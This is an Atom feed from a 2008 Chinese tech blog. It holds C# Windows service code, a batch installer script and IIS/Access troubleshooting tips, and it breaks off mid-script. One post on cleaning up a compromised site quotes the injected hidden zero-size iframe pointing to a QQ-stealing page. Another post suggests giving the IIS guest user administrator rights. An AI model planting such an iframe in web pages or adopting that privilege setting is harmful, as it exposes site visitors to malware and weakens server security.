<?xml version="1.0" encoding="UTF-8"?>
  <feed xmlns="http://www.w3.org/2005/Atom">
  <title type="html"><![CDATA[青云`s Blog]]></title>
  <subtitle type="html"><![CDATA[圣菩提心极珍贵,诸未生者令生起,令已发起不衰退,辗转增上恒滋长.]]></subtitle>
  <id>http://blog.atimg.com/</id>
  <link rel="alternate" type="text/html" href="http://blog.atimg.com/" /> 
  <link rel="self" type="application/atom+xml" href="http://blog.atimg.com/atom.asp" /> 
  <generator uri="http://www.pjhome.net/" version="2.8">PJBlog3</generator> 
  <updated>2008-11-21T17:55:19+08:00</updated>

  <entry>
	  <title type="html"><![CDATA[C#安装卸载服务]]></title>
	  <author>
		 <name>青云</name>
		 <uri>http://blog.atimg.com/</uri>
		 <email>fhcmail@gmail.com</email>
	  </author>
	  <category term="" scheme="http://blog.atimg.com/default.asp?cateID=4" label="技术文章" /> 
	  <updated>2008-11-21T17:55:19+08:00</updated>
	  <published>2008-11-21T17:55:19+08:00</published>
		  <summary type="html"><![CDATA[这是一个安装和卸载服务的类，有兴趣可以看一下．<br/><br/>using System;<br/>using System.Runtime.InteropServices;<br/>namespace EAE.MyServiceInstaller<br/>{<br/><br/> class ServiceInstaller<br/> {<br/>&nbsp;&nbsp;#region Private Variables<br/>&nbsp;&nbsp;private string _servicePath;<br/>&nbsp;&nbsp;private string _serviceName;<br/>&nbsp;&nbsp;private string _serviceDisplayName;<br/>&nbsp;&nbsp;#endregion Private Variables<br/>&nbsp;&nbsp;#region DLLImport<br/>&nbsp;&nbsp;[DllImport(&#34;advapi32.dll&#34;)]<br/>&nbsp;&nbsp;public static extern IntPtr OpenSCManager(string lpMachineName,string lpSCDB, int scParameter);<br/>&nbsp;&nbsp;[DllImport(&#34;Advapi32.dll&#34;)]<br/>&nbsp;&nbsp;public static extern IntPtr Cr&#101;ateService(IntPtr SC_HANDLE,string lpSvcName,string lpDisplayName, <br/>&nbsp;&nbsp; int dwDesiredAccess,int dwServiceType,int dwStartType,int dwErrorControl,string lpPathName, <br/>&nbsp;&nbsp; string lpLoadOrderGroup,int lpdwTagId,string lpDependencies,string lpServiceStartName,string lpPassword);<br/>&nbsp;&nbsp;[DllImport(&#34;advapi32.dll&#34;)]<br/>&nbsp;&nbsp;public static extern void CloseServiceHandle(IntPtr SCHANDLE);<br/>&nbsp;&nbsp;[DllImport(&#34;advapi32.dll&#34;)]<br/>&nbsp;&nbsp;public static extern int StartService(IntPtr SVHANDLE,int dwNumServiceArgs,string lpServiceArgVectors);<br/>&nbsp;&nbsp;[DllImport(&#34;advapi32.dll&#34;,SetLastError=true)]<br/>&nbsp;&nbsp;public static extern IntPtr OpenService(IntPtr SCHANDLE,string lpSvcName,int dwNumServiceArgs);<br/>&nbsp;&nbsp;[DllImport(&#34;advapi32.dll&#34;)]<br/>&nbsp;&nbsp;public static extern int Del&#101;teService(IntPtr SVHANDLE);<br/>&nbsp;&nbsp;[DllImport(&#34;kernel32.dll&#34;)]<br/>&nbsp;&nbsp;public static extern int GetLastError();<br/>&nbsp;&nbsp;#endregion DLLImport<br/>//&nbsp;&nbsp;/// <br/>//&nbsp;&nbsp;/// 应用程序入口.<br/>//&nbsp;&nbsp;/// <br/>//<br/>//&nbsp;&nbsp;[STAThread]<br/>//&nbsp;&nbsp;static void Main(string[] args)<br/>//&nbsp;&nbsp;{<br/>//<br/>//&nbsp;&nbsp; string svcPath;<br/>//&nbsp;&nbsp; string svcName;<br/>//&nbsp;&nbsp; string svcDispName;<br/>//&nbsp;&nbsp; //服务程序的路径<br/>//&nbsp;&nbsp; svcPath = @&#34;d:\service\EAEWS.exe&#34;;<br/>//&nbsp;&nbsp; svcDispName=&#34;myEAEWS&#34;;<br/>//&nbsp;&nbsp; svcName= &#34;myEAEWS&#34;;<br/>//&nbsp;&nbsp; ServiceInstaller c = new ServiceInstaller();<br/>//&nbsp;&nbsp; c.InstallService(svcPath, svcName, svcDispName);<br/>//&nbsp;&nbsp; Console.Read();<br/>//<br/>//&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;/// <br/>&nbsp;&nbsp;/// 安装和运行<br/>&nbsp;&nbsp;/// <br/>&nbsp;&nbsp;/// 程序路径.<br/>&nbsp;&nbsp;/// 服务名<br/>&nbsp;&nbsp;/// 服务显示名称.<br/>&nbsp;&nbsp;/// 服务安装是否成功.<br/>&nbsp;&nbsp;public bool InstallService(string svcPath, string svcName, string svcDispName)<br/>&nbsp;&nbsp;{<br/>&nbsp;&nbsp; #region Constants declaration.<br/>&nbsp;&nbsp; int SC_MANAGER_Cr&#101;ate_SERVICE = 0x0002;<br/>&nbsp;&nbsp; int SERVICE_WIN32_OWN_PROCESS = 0x00000010;<br/>&nbsp;&nbsp; //int SERVICE_DEMAND_START = 0x00000003;<br/>&nbsp;&nbsp; int SERVICE_ERROR_NORMAL = 0x00000001;<br/>&nbsp;&nbsp; int STANDARD_RIGHTS_REQUIRED = 0xF0000;<br/>&nbsp;&nbsp; int SERVICE_QUERY_CONFIG = 0x0001;<br/>&nbsp;&nbsp; int SERVICE_CHANGE_CONFIG = 0x0002;<br/>&nbsp;&nbsp; int SERVICE_QUERY_STATUS = 0x0004;<br/>&nbsp;&nbsp; int SERVICE_ENUMERATE_DEPENDENTS = 0x0008;<br/>&nbsp;&nbsp; int SERVICE_START =0x0010;<br/>&nbsp;&nbsp; int SERVICE_STOP =0x0020;<br/>&nbsp;&nbsp; int SERVICE_PAUSE_CONTINUE =0x0040;<br/>&nbsp;&nbsp; int SERVICE_INTERROGATE =0x0080;<br/>&nbsp;&nbsp; int SERVICE_USER_DEFINED_CONTROL =0x0100;<br/>&nbsp;&nbsp; int SERVICE_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | <br/>&nbsp;&nbsp;&nbsp;&nbsp;SERVICE_QUERY_CONFIG |<br/>&nbsp;&nbsp;&nbsp;&nbsp;SERVICE_CHANGE_CONFIG |<br/>&nbsp;&nbsp;&nbsp;&nbsp;SERVICE_QUERY_STATUS | <br/>&nbsp;&nbsp;&nbsp;&nbsp;SERVICE_ENUMERATE_DEPENDENTS | <br/>&nbsp;&nbsp;&nbsp;&nbsp;SERVICE_START | <br/>&nbsp;&nbsp;&nbsp;&nbsp;SERVICE_STOP | <br/>&nbsp;&nbsp;&nbsp;&nbsp;SERVICE_PAUSE_CONTINUE | <br/>&nbsp;&nbsp;&nbsp;&nbsp;SERVICE_INTERROGATE | <br/>&nbsp;&nbsp;&nbsp;&nbsp;SERVICE_USER_DEFINED_CONTROL);<br/>&nbsp;&nbsp; int SERVICE_AUTO_START = 0x00000002;<br/>&nbsp;&nbsp; #endregion Constants declaration.<br/>&nbsp;&nbsp; try<br/>&nbsp;&nbsp; {<br/>&nbsp;&nbsp;&nbsp;&nbsp;IntPtr sc_handle = OpenSCManager(null,null,SC_MANAGER_Cr&#101;ate_SERVICE);<br/>&nbsp;&nbsp;&nbsp;&nbsp;if (sc_handle.ToInt32() != 0)<br/>&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp; IntPtr sv_handle = Cr&#101;ateService(sc_handle,svcName,svcDispName,SERVICE_ALL_ACCESS,SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START,SERVICE_ERROR_NORMAL,svcPath,null,0,null,null,null);<br/>&nbsp;&nbsp;&nbsp;&nbsp; if(sv_handle.ToInt32() ==0)<br/>&nbsp;&nbsp;&nbsp;&nbsp; {<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CloseServiceHandle(sc_handle);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return false;<br/>&nbsp;&nbsp;&nbsp;&nbsp; }<br/>&nbsp;&nbsp;&nbsp;&nbsp; else<br/>&nbsp;&nbsp;&nbsp;&nbsp; {<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//试尝启动服务<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int i = StartService(sv_handle,0,null);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(i==0)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return false;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CloseServiceHandle(sc_handle);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return true;<br/>&nbsp;&nbsp;&nbsp;&nbsp; }<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;else<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; return false;<br/>&nbsp;&nbsp; }<br/>&nbsp;&nbsp; catch(Exception e)<br/>&nbsp;&nbsp; {<br/>&nbsp;&nbsp;&nbsp;&nbsp;throw e;<br/>&nbsp;&nbsp; }<br/>&nbsp;&nbsp;}<br/>&nbsp;&nbsp;/// <br/>&nbsp;&nbsp;/// 反安装服务.<br/>&nbsp;&nbsp;/// <br/>&nbsp;&nbsp;/// 服务名.<br/>&nbsp;&nbsp;public bool UnInstallService(string svcName)<br/>&nbsp;&nbsp;{<br/>&nbsp;&nbsp; int GENERIC_WRITE = 0x40000000;<br/>&nbsp;&nbsp; IntPtr sc_hndl = OpenSCManager(null,null,GENERIC_WRITE);<br/>&nbsp;&nbsp; if(sc_hndl.ToInt32() !=0)<br/>&nbsp;&nbsp; {<br/>&nbsp;&nbsp;&nbsp;&nbsp;int Del&#101;te = 0x10000;<br/>&nbsp;&nbsp;&nbsp;&nbsp;IntPtr svc_hndl = OpenService(sc_hndl,svcName,Del&#101;te);<br/>&nbsp;&nbsp;&nbsp;&nbsp;if(svc_hndl.ToInt32() !=0)<br/>&nbsp;&nbsp;&nbsp;&nbsp;{ <br/>&nbsp;&nbsp;&nbsp;&nbsp; int i = Del&#101;teService(svc_hndl);<br/>&nbsp;&nbsp;&nbsp;&nbsp; if (i != 0)<br/>&nbsp;&nbsp;&nbsp;&nbsp; {<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CloseServiceHandle(sc_hndl);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return true;<br/>&nbsp;&nbsp;&nbsp;&nbsp; }<br/>&nbsp;&nbsp;&nbsp;&nbsp; else<br/>&nbsp;&nbsp;&nbsp;&nbsp; {<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CloseServiceHandle(sc_hndl);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return false;<br/>&nbsp;&nbsp;&nbsp;&nbsp; }<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;else<br/>&nbsp;&nbsp;&nbsp;&nbsp; return false;<br/>&nbsp;&nbsp; }<br/>&nbsp;&nbsp; else<br/>&nbsp;&nbsp;&nbsp;&nbsp;return false;<br/>&nbsp;&nbsp;}<br/> <br/> <br/> <br/> }<br/>}<br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://blog.atimg.com/article/1136.htm" /> 
	  <id>http://blog.atimg.com/default.asp?id=1136</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[C# Windows服务安装、卸载批处理代码]]></title>
	  <author>
		 <name>青云</name>
		 <uri>http://blog.atimg.com/</uri>
		 <email>fhcmail@gmail.com</email>
	  </author>
	  <category term="" scheme="http://blog.atimg.com/default.asp?cateID=4" label="技术文章" /> 
	  <updated>2008-11-21T17:53:06+08:00</updated>
	  <published>2008-11-21T17:53:06+08:00</published>
		  <summary type="html"><![CDATA[echo 请按任意键开始安装客户管理平台的后台服务. . .<br/>echo.<br/>pause<br/>echo.<br/>echo 清理原有服务项. . .<br/>%SystemRoot%\Microsoft.NET\Framework\v2.0.50727\installutil /U D:\Service\WindowsService1.exe &gt; InstallService.log<br/>echo.<br/>echo 清理完毕，开始安装后台服务. . .<br/>echo.<br/>%SystemRoot%\Microsoft.NET\Framework\v2.0.50727\installutil D:\Service\WindowsService1.exe &gt;&gt; InstallService.log<br/>echo 服务安装完毕，启动服务. . .<br/>net start CRMService &gt;&gt; InstallService.log<br/>echo.<br/>echo 操作结束，请在 InstallService.log 中查看具体的操作结果。<br/>echo.<br/>pause<br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://blog.atimg.com/article/1135.htm" /> 
	  <id>http://blog.atimg.com/default.asp?id=1135</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[对于错误“不能确定应用到此机器的组策略安全性设置”的解决办法]]></title>
	  <author>
		 <name>青云</name>
		 <uri>http://blog.atimg.com/</uri>
		 <email>fhcmail@gmail.com</email>
	  </author>
	  <category term="" scheme="http://blog.atimg.com/default.asp?cateID=4" label="技术文章" /> 
	  <updated>2008-11-20T11:55:42+08:00</updated>
	  <published>2008-11-20T11:55:42+08:00</published>
		  <summary type="html"><![CDATA[<span style="color:Red">访问本地安全策略分支时，提示如下信息： <br/><br/>不能确定应用到此机器的组策略安全性设置。 <br/>在尝试从本地安全性数据库（%windir%\security\database\secedit.sdb）中检索这些设置时返回的错误为：参数不正确。</span> <br/><br/>所有本地安全性设置都将被显示，但是不会指出一个给定的安全性设置是否由组策略定义。 <br/>所有由此用户界面改动的本地安全性设置都可能随后被域级的策略覆盖。 <br/><br/>按照网上的办法如下： <br/>解决方案： <br/><br/>1.切换到命令提示符状态。 <br/>2.执行“esentutl /k %windir%\Security\Database\Secedit.sdb”和“esentutl /g %windir%\Security\Database\Secedit.sdb”对secedit.sdb进行检查。 <br/>3.手工备份要修复的数据库文件。 <br/>4.执行“esentutl /p %windir%\Security\Database\Secedit.sdb”进行修复，系统会弹出Warning提示框： <br/>&#34;You should only run Repair on damaged o&#114; corrupted databases.Repair will not apply information in the transaction log files to the database,and may cause information to be lost.Do you wish to proceed?&#34; <br/>单击OK，开始修复。 <br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://blog.atimg.com/article/1134.htm" /> 
	  <id>http://blog.atimg.com/default.asp?id=1134</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[IIS自定义404之后,系统找不到指定的文件解决办法]]></title>
	  <author>
		 <name>青云</name>
		 <uri>http://blog.atimg.com/</uri>
		 <email>fhcmail@gmail.com</email>
	  </author>
	  <category term="" scheme="http://blog.atimg.com/default.asp?cateID=4" label="技术文章" /> 
	  <updated>2008-11-19T17:39:55+08:00</updated>
	  <published>2008-11-19T17:39:55+08:00</published>
		  <summary type="html"><![CDATA[在IIS站点属性里面的自定义404错误为文件之后，不知道为什么一直不生效，都提示着这样一句话：系统找不到指定的文件。 <br/><br/>问题解决：<br/>因为IIS的普通用户没有访问指定的404.htm页的权限。<br/>可以设置USER用户组具有读的权限，即可解决此问题。<br/><br/><img src="http://blog.atimg.com/attachments/month_0811/l20081119173952.jpg" border="0" alt=""/><br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://blog.atimg.com/article/1133.htm" /> 
	  <id>http://blog.atimg.com/default.asp?id=1133</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[IIS Worker Process 遇到了一个问题,需要关闭 解决办法]]></title>
	  <author>
		 <name>青云</name>
		 <uri>http://blog.atimg.com/</uri>
		 <email>fhcmail@gmail.com</email>
	  </author>
	  <category term="" scheme="http://blog.atimg.com/default.asp?cateID=4" label="技术文章" /> 
	  <updated>2008-11-19T17:21:09+08:00</updated>
	  <published>2008-11-19T17:21:09+08:00</published>
		  <summary type="html"><![CDATA[IIS Worker Process 遇到了一个问题,需要关闭 解决办法服务器经常出现 IIS Worker Process 遇到了一个问题,需要关闭很多时候我们的处理方法都是直接重装IIS.卸载.net 2.0但效果不是很明显.彻底的处理方法就是新建管理员账户.或删除 C:\Documents and Settings\你的管理员用户名 文件夹下的 NTUSER.DAT文件.这个文件的作用是保存用户配置信息.登录后会重新建立. ]]></summary>
	  <link rel="alternate" type="text/html" href="http://blog.atimg.com/article/1132.htm" /> 
	  <id>http://blog.atimg.com/default.asp?id=1132</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[男人为什么出轨]]></title>
	  <author>
		 <name>青云</name>
		 <uri>http://blog.atimg.com/</uri>
		 <email>fhcmail@gmail.com</email>
	  </author>
	  <category term="" scheme="http://blog.atimg.com/default.asp?cateID=3" label="乱七八糟" /> 
	  <updated>2008-11-17T12:04:04+08:00</updated>
	  <published>2008-11-17T12:04:04+08:00</published>
		  <summary type="html"><![CDATA[男人为什么会出轨，其实，男人并不是天性不忠的动物，男人的出轨，用美国著名杂志《柯梦波丹》两位资深的文字编辑黛安·芭柔妮和贝蒂·凯丽的话说：“实在有太多的难言之隐！”为此，她们在其合著的《把你爱的男人找回来》一书中从十个方面详尽分析了男人感情出轨的原因，这些原因包括： <br/><br/>　　(想证明自己魅力依旧)男人在４０岁到５０岁之间有一段叛逆期，这就是所谓的“中年危机”，在这个时间段，男人开始质疑生命，抗拒老化。特别是那些工作勤奋的男人，他们总觉得自己错过了人生中最好的年华。仿佛从来没有享受过生命的乐趣，而他们真正热爱的正是这些———及时行乐。于是，看到年轻的女孩子，他们就想要重新来过。&nbsp;&nbsp;<br/><br/>　　(给性爱增加一份激情)性生活在婚姻中往往会被淹没在日常琐事中的夫妻忽略，排到比较不重要的位置。当男人需要更多的性生活又在家里满足不了时，外遇也就成了一种寻欢作乐的新尝试。&nbsp;&nbsp;<br/><br/>　　(一时心血来潮什么)你说他只是因为凑巧跟那个女人一起去开会，就跟她上床了？没错，这种事情发生的频率远比大部分女人想象的还多。对许多男人而言，一夜风流并不是什么了不起的事，这跟他们对妻子的感情也毫无关系。虽然这件事实在令人难以面对，不过却是实情。&nbsp;&nbsp;<br/><br/>　　(只想摆脱枯燥的生活)当男人感觉生活变得千篇一律、一成不变时，深锁在无聊与寂寞中的他就会开始渴求改变，跃跃欲试寻求冒险。这些男人不是去外面寻找婚姻中欠缺的任何事物，而仅仅只是为了玩一玩，用以调剂他们平凡的生活。&nbsp;&nbsp;<br/><br/>　　(逃避压力)已婚男人在承受不住现实的压力时会坠入情网。坠入情网只是为了避免处理人生中的某些问题，因为恋爱就像暂时丧失理智。&nbsp;&nbsp;<br/><br/>　　(对亲密的恐慌)有的男人对真正的亲密关系感到不舒服，因此戏剧化、悬疑、双重生活的刺激对他而言，十分具有吸引力。这种男人通常来自男女角色划分清楚的家庭———父亲是家庭经济的供应者，母亲则是家庭主妇，他们的感情不是太亲密。&nbsp;&nbsp;<br/><br/>　　(对人生失去热情)心理学家指出，对人生失去热情，沮丧会使男人的内心感觉无助、无能、无法做任何事情。因此最简单的解决方法是找一个善解人意的性感女人……逃离令男人沮丧的现实环境。&nbsp;&nbsp;<br/><br/>　　(存心报复)你男人若是怀疑女人对他不忠又无法原谅她，炫耀自己的风流艳史报复女人也就成了怒气冲天的男人难以打消的念头。&nbsp;&nbsp;<br/><br/>　　(你不够关心他)也许你已经太习惯你男人的存在了，就好像后院里那棵老橡树一样，几乎忘了他也是个脆弱的人，他需要陪伴，需要赞美，需要安慰。如果在家里找不到这些，他就有可能绕开对他“视若无睹”的你，到外面去找别的女人。&nbsp;&nbsp;<br/><br/>　　(天生多情)还有可能你的男人天生就是个风流种子，这种喜新厌旧的男人与那些利用外遇来逃避亲密关系的男人不一样，这些多情浪子常常自我感觉很好，但对婚姻却一点也不在行。 <br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://blog.atimg.com/article/1131.htm" /> 
	  <id>http://blog.atimg.com/default.asp?id=1131</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[被挂马后的不完全查找与解决方法]]></title>
	  <author>
		 <name>青云</name>
		 <uri>http://blog.atimg.com/</uri>
		 <email>fhcmail@gmail.com</email>
	  </author>
	  <category term="" scheme="http://blog.atimg.com/default.asp?cateID=4" label="技术文章" /> 
	  <updated>2008-11-14T17:40:55+08:00</updated>
	  <published>2008-11-14T17:40:55+08:00</published>
		  <summary type="html"><![CDATA[主题：网站被挂马后的不完全查找和解决方法<br/>讲课记录： <br/><br/>最近很多站长的网站被挂了马，在51.la的BBS上我回了个帖子说自己被挂过，后来找出来了，有点经验，然后两天内好几个人加我QQ！他们的站都是被挂了这个<br/>&lt;iframe src=&#34;<a href="http://ll78.com/qq/2.htm" target="_blank" rel="external">http://ll78.com/qq/2.htm</a>&#34; width=0 height=0&gt;&lt;/iframe&gt;<br/>这个代码！<br/>先讲讲我被挂马的事情： <br/><br/><br/><br/>前段时间我登录自己网站后台，登录后没反应，程序都是自己写的，不是用的CMS系统！一看源文件发现最上面多了一句&lt;iframe&gt;,立刻意识到被挂马了！FTP连上稍微看了一下就发现index和conn这样的文件被修改了，立刻修改回来，很清楚这样删了是治标不治本的，过不两天还会被挂！<br/>也有的你看源文件是没有的，可能写在你的其他包含文件里或者JS文件或者数据库里！ <br/><br/>我自己是写程序的，我清楚自己的网站没有注入和上传漏洞，那到底是从哪攻破的呢？<br/>主机？也不是，用的是虚拟主机权限做的很好，自己上传个马都只能看自己的网站！不服气，一定要把后门找出来，最重要的是知道如何被挂的，知道了原理才能从根本上防范，于是在网上百度Google了半天，发现很多人被iframe，但却没有找到防范方法和解决方案！他们一般都是回答说网站有上传和注入漏洞或者服务器漏洞被旁注了！但这些可能性我的站都没有！搞到半夜两点终于不负有心人被我找到了后门，进行了处理后，现在快一个月了没有再被挂过！ <br/><br/>上面是废话，下面讲被挂马后的一般查马和解决方法！ <br/><br/>一般被挂马就是有了网站的shell或者服务器的shell,挂马者主要是为了盗QQ，网游帐号，刷流量等，这段时间盗QQ不是很疯狂的吗？很多卖QQ的都发财了！但网站被挂马了肯定影响网站的流量，谁愿意上有病毒的网站？<br/>webshell一般是网站被上传了ASP木马，网站主要能利用的漏洞是SQL注入和上传漏洞，很多系统总是被利用如动网和动易都有漏洞的历史！所以这些共享系统的兄弟们要及时更新补丁比较保险！ <br/><br/>被挂马后查找步骤：<br/>1.先看看上传目录下面有没有可疑的ASP文件<br/>2.然后再根据文件修改时间看看最近修改的文件哪些可疑 <br/><br/>如果有后门木马文件的话细心的兄弟应该能查的出来！<br/>但我当时细心的查了好几遍都没找到木马文件，我网站的文件比较少查起来比较容易！<br/>我就纳闷为什么没有后门文件也能改我的文件，后来空间的技术和我说不用有木马文件也可以得到webshell,后来终于在网上查到了“一句话木马”！把这一句话随便放在你网站的一个文件里你都有得查！期间我在网上还发现有一个功能可以把网站所有的首页和包含文件都自动加上代码的文件！专门为挂马开发的！ <br/><br/><br/><br/>文件太多如何查呢？同事给了我一个在线查马的文件，好像是chinaz的版主“伤心森林”写的，根据木马的特征码，可以把可疑的文件查出来，我用它终于发现两个文件被修改过，看修改时间的！下载下来一看里面都被加了“一句话木马”，删掉后，网站的后门基本也就没有了！到现在没被再挂过！ <br/><br/><br/><br/>很多兄弟一点也和我一样觉得要挂马一定会有后门文件，但“一句话木马”不用就可以，所以很多兄弟删了会被再挂，长期受折磨！ <br/><br/>那个一句话代码是之前我站被上传了ASP木马的时候加的，后来我补了上传漏洞删了马！但这个后门一直存在！<br/><br/>讲的很乱，因为时间太仓促，今天的重点是：被挂马后根据文件修改时间查可疑文件，补网站的漏洞，用查马工具找可疑文件！<br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://blog.atimg.com/article/1130.htm" /> 
	  <id>http://blog.atimg.com/default.asp?id=1130</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Microsoft JET Database Engine 错误 &#39;80004005&#39; 完整解决办法]]></title>
	  <author>
		 <name>青云</name>
		 <uri>http://blog.atimg.com/</uri>
		 <email>fhcmail@gmail.com</email>
	  </author>
	  <category term="" scheme="http://blog.atimg.com/default.asp?cateID=4" label="技术文章" /> 
	  <updated>2008-11-13T12:00:48+08:00</updated>
	  <published>2008-11-13T12:00:48+08:00</published>
		  <summary type="html"><![CDATA[关键词：<br/><br/>access数据库打开错误<br/><br/>windows权限设置<br/><br/>temp路径设置<br/><br/>网站数据库打不开<br/><br/>原因：<br/><br/>服务器采用了雨林木风的win2003<br/><br/>网站打不开,conn.asp文件连接数据库部分报错：<br/><br/>Microsoft JET Database Engine 错误 &#39;80004005&#39;<br/><br/>未指定的错误<br/><br/> <br/><br/>总结办法：<br/><br/>1IIS的来宾访问用户设置成管理员组<br/><br/>在计算机管理--用户中，找到IUSR_****，隶属于添加 administrators，然后需要重启IIS，网站可以打开了<br/><br/>把IIS的来宾访问用户设置成管理员，暂时这样用了……安全性上不推荐<br/><br/>2、C:WindowsTemp 设置everyone或者user的写权限,推荐user<br/><br/>此方法如果不行，可能你遇到了和我一样的问题，环境变量没有设在C:WindowsTemp<br/><br/>而是在C:\Documents and Settings\LocalService\Local Settings\ temp<br/><br/>或者C:\Documents and Settings\administrator\Local Settings\ temp<br/><br/> <br/><br/>采用下面办法<br/><br/>3、<br/><br/>方法一、设置此目录给IUSR_****写权限，<br/><br/>或者将环境变量（电脑-属性-高级-环境变量-）<br/>方法：借助filemon工具，在打开网页时，会发现在filemon中，结果有access denied，双击后找到这个目录，此目录就是因为没有权限导致access数据库打开失败的症结所在。给tempe文件夹一个写权限（everyone用户或者IUSR_****,推荐IUSR_****）<br/><br/>方法二、更改统环境变量temp和tmp原来的%USERPROFILE%Local SettingsTemp<br/><br/>为%SystemRoot%TEMP，设置权限，重新启动电脑后环境变量才能生效<br/><br/>分析原因：<br/><br/>access数据库打开后需要放到临时文件夹中释放再打开，但由于网上的用户访问时没有权限打开本地的临时文件夹，导致了数据库连接失败。<br/><br/>我采用了方法一，方法二没有尝试，原理相同<br/><br/>注：<br/><br/>filemon绿色版下载地址：<br/><br/><a href="http://www.xdowns.com/soft/6/56/2006/Soft_32139.html" target="_blank" rel="external">http://www.xdowns.com/soft/6/56/2006/Soft_32139.html</a><br/><br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://blog.atimg.com/article/1129.htm" /> 
	  <id>http://blog.atimg.com/default.asp?id=1129</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[优化广告显示顺序，加快网站载入速度]]></title>
	  <author>
		 <name>青云</name>
		 <uri>http://blog.atimg.com/</uri>
		 <email>fhcmail@gmail.com</email>
	  </author>
	  <category term="" scheme="http://blog.atimg.com/default.asp?cateID=4" label="技术文章" /> 
	  <updated>2008-11-11T10:58:45+08:00</updated>
	  <published>2008-11-11T10:58:45+08:00</published>
		  <summary type="html"><![CDATA[一般来说，如果我们用js来调用广告的话，如果广告商的广告加载慢的话，就会使我们整个的网站加载慢，主要是网页的显示顺序是从上到下，而广告我们一般都放在前面，有几个方法可以是js在等网站全部载入完后再载入，当然这种方法不止用于广告显示，包括比较慢的js文件都可以用。<br/>如果你的网站有GG AdSense有段代码能显著加快网站载入速度：<br/>&lt;div id=”googlead” width=”广告的宽度” height=”广告的高度”&gt; <br/>&lt;div id=”googleadcode” style=”display:none”&gt; <br/>#在此贴入您的广告代码。贴入后请将此行删除 <br/> &lt;/div&gt; <br/> &lt;script language=”javascript”&gt;&nbsp;&nbsp;<br/> if(document.all.item(”googlead”) != null)&nbsp;&nbsp;<br/> {&nbsp;&nbsp;<br/> googlead.innerHTML = googleadcode.innerHTML;&nbsp;&nbsp;<br/> }&nbsp;&nbsp;<br/> &lt;/script&gt; <br/> 另外还有一种方法：<br/><br/>一：把这段代码放在你要放广告的网页位置：<br/>&lt;SPAN id=ad_01&gt;&lt;img src=”{dede:field name=’templeturl’/}/10lidi/images/loading.gif” /&gt;&lt;br /&gt;正在载入请耐心等待…&lt;/SPAN&gt;<br/> <br/>二：把这段代码放到页底：<br/>&lt;SPAN class=spanclass id=span_ad_01&gt;<br/>&lt;script type=”text/javascript” src=”你的js地址&lt;/SPAN&gt;<br/>&lt;SCRIPT&gt;ad_01.innerHTML=span_ad_01.innerHTML;span_ad_01.innerHTML=”&#34;;&lt;/SCRIPT&gt;<br/><br/>如果要放多个js可以这样：<br/><br/>这个放到你的广告的位置<br/><br/>&lt;SPAN id=ad_01&gt;广告载入中,正在加载第1个广告…&lt;/SPAN&gt;<br/><br/>&lt;SPAN id=ad_02&gt;广告载入中,正在加载第2个广告…&lt;/SPAN&gt;<br/><br/>下面的放到底部：<br/><br/>&lt;SPAN class=spanclass id=span_ad_01&gt;<br/>&lt;script language=”javascript” type=”text/javascript” src=”你的js地址”&gt;&lt;/script&gt;<br/>&lt;/SPAN&gt;<br/>&lt;SCRIPT&gt;ad_01.innerHTML=span_ad_01.innerHTML;span_ad_01.innerHTML=”&#34;;&lt;/SCRIPT&gt;<br/><br/>&lt;SPAN class=spanclass id=span_ad_02&gt;<br/>&lt;script language=”javascript” type=”text/javascript” src=”你的js地址”&gt;&lt;/script&gt;<br/>&lt;/SPAN&gt;<br/>&lt;SCRIPT&gt;ad_02.innerHTML=span_ad_02.innerHTML;span_ad_02.innerHTML=”&#34;;&lt;/SCRIPT&gt;<br/><br/> <br/><br/>不过这种方法对firefox浏览器兼容不好。在更新一种方法：<br/><br/>第一步：把这段代码放在你要放广告的网页位置：<br/>&lt;div id=”myads”&gt;广告载入中…&lt;/div&gt;<br/>　　第二步：把这段代码放到页底：<br/>&lt;div id=”span_myads”&gt;<br/>这里放广告的JS代码或其他加载速度比较慢的内容都可以。<br/>&lt;/div&gt;<br/>&lt;script type=”text/javascript”&gt;<br/>document.getElementById(”myads”).innerHTML = document.getElementById(”span_myads”).innerHTML;<br/>document.getElementById(”span_myads”).innerHTML = 